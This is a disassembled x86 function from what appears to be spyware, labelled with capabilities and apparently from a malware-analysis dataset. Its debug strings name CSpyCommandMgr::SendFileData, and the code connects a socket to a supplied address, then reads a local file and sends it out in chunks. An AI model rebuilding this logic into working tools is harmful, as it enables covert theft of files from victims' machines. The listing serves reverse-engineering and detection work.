Function at 0x1001ab24
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbbc
mov eax, dword [0x10058684]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0xbbc], ecx
push edi
mov dword [ebp - 0xbb0], eax
mov esi, edx
lea ecx, [eax + 2]
xor ebx, ebx
mov dx, word [eax]
add eax, 2
cmp dx, bx
jne 0x1001ab50
sub eax, ecx
sar eax, 1
je 0x1001ae0d
mov esi, dword [esi]
cmp dword [esi - 0xc], ebx
je 0x1001ae0d
xor eax, eax
cmp ax, word [ebp + 0xc]
je 0x1001ae0d
push 0x3f
lea eax, [ebp - 0x43]
push ebx
push eax
mov byte [ebp - 0x44], bl
call fcn.10024270
add esp, 0xc
push ebx
push ebx
push 0x40
lea eax, [ebp - 0x44]
push eax
or edi, 0xffffffff
push edi
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
call fcn.10004ba4
mov esi, eax
mov dword [ebp - 0xba4], esi
cmp esi, edi
jne 0x1001abc3
push str.CSpyCommandMgr::SendFileData__:_socket_error
call fcn.10003fa8
jmp 0x1001ae17
push 2
pop eax
push dword [ebp + 0xc]
mov word [ebp - 0xb98], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xb96], ax
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0xb94], eax
lea eax, [ebp - 0xbb4]
push eax
push 0x1006
push esi
mov dword [ebp - 0xbb4], 0xea60
call fcn.10004cc3
lea eax, [ebp - 0xbb4]
push eax
push 0x1005
push esi
call fcn.10004cc3
lea eax, [ebp - 0xb98]
push eax
push esi
call fcn.10004c1d
add esp, 0x20
cmp eax, edi
jne 0x1001ac45
push str.CSpyCommandMgr::SendFileData__:_connect_error
call fcn.10003fa8
push esi
call fcn.10004bcf
pop ecx
jmp 0x1001ae17
push dword [ebp - 0xbb0]
push str.CSpyCommandMgr::SendFileData__:_sending_file__s.
call fcn.10003e3a
push 0xb41
lea eax, [ebp - 0xb87]
push ebx
push eax
mov byte [ebp - 0xb88], bl
call fcn.10024270
add esp, 0x14
mov dword [ebp - 0xba0], edi
mov dword [ebp - 0xb9c], ebx
cmp dword [ebp - 0xba0], edi
jne 0x1001ad31
push ebx
push 0x80
push 3
push ebx
push ebx
push connect
push dword [ebp - 0xbb0]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xba0], eax
cmp eax, edi
je 0x1001adad
lea ecx, [ebp - 0xbac]
push ecx
push eax
mov dword [ebp - 0xbac], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0xb9c], eax
cmp dword [ebp - 0xbac], ebx
ja 0x1001adc2
mov esi, dword [ebp - 0xbbc]
mov ecx, 0xd0
lea edi, [ebp - 0xb88]
rep movsd dword es:[edi], dword [esi]
push ebx
lea eax, [ebp - 0xba8]
push eax
push 0x800
lea eax, [ebp - 0x846]
push eax
push dword [ebp - 0xba0]
movsw word es:[edi], word [esi]
mov dword [ebp - 0xba8], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1001adda
mov ecx, dword [ebp - 0xba8]
sub dword [ebp - 0xb9c], ecx
lea eax, [ecx + 0x342]
or edi, 0xffffffff
jmp 0x1001ad79
mov esi, 0xb42
push esi
lea eax, [ebp - 0xb88]
push ebx
push eax
mov dword [ebp - 0xbb8], ebx
call fcn.10024270
add esp, 0xc
push ebx
lea eax, [ebp - 0xbb8]
push eax
push esi
lea eax, [ebp - 0xb88]
push eax
push dword [ebp - 0xba0]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1001adda
mov eax, dword [ebp - 0xbb8]
sub dword [ebp - 0xb9c], eax
cmp eax, ebx
jle 0x1001ad9f
push eax
lea eax, [ebp - 0xb88]
push eax
push dword [ebp - 0xba4]
call fcn.10004c4d
add esp, 0xc
cmp eax, edi
je 0x1001adce
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp - 0xb9c], ebx
ja 0x1001ac7c
jmp 0x1001aded
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CSpyCommandMgr::SendFileData__:_open_file_failed__d.
call fcn.10003e3a
pop ecx
pop ecx
jmp 0x1001adf9
push str.CSpyCommandMgr::SendFileData__:_cannot_send_bigger_than_4G_file.
call fcn.10003e3a
jmp 0x1001adec
push str.CSpyCommandMgr::SendFileData__:_send___failed
call fcn.10003fa8
jmp 0x1001adec
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CSpyCommandMgr::SendFileData__:_read_file_failed__d.
call fcn.10003e3a
pop ecx
pop ecx
push dword [ebp - 0xba0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xba4]
call fcn.10004bcf
mov dword [esp], str.CSpyCommandMgr::SendFileData__:_exit.
jmp 0x1001ae12
push str.CSpyCommandMgr::SendFileData__:_Invalid_parameter_s_.
call fcn.10003e3a
pop ecx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001d73b
leave
ret 8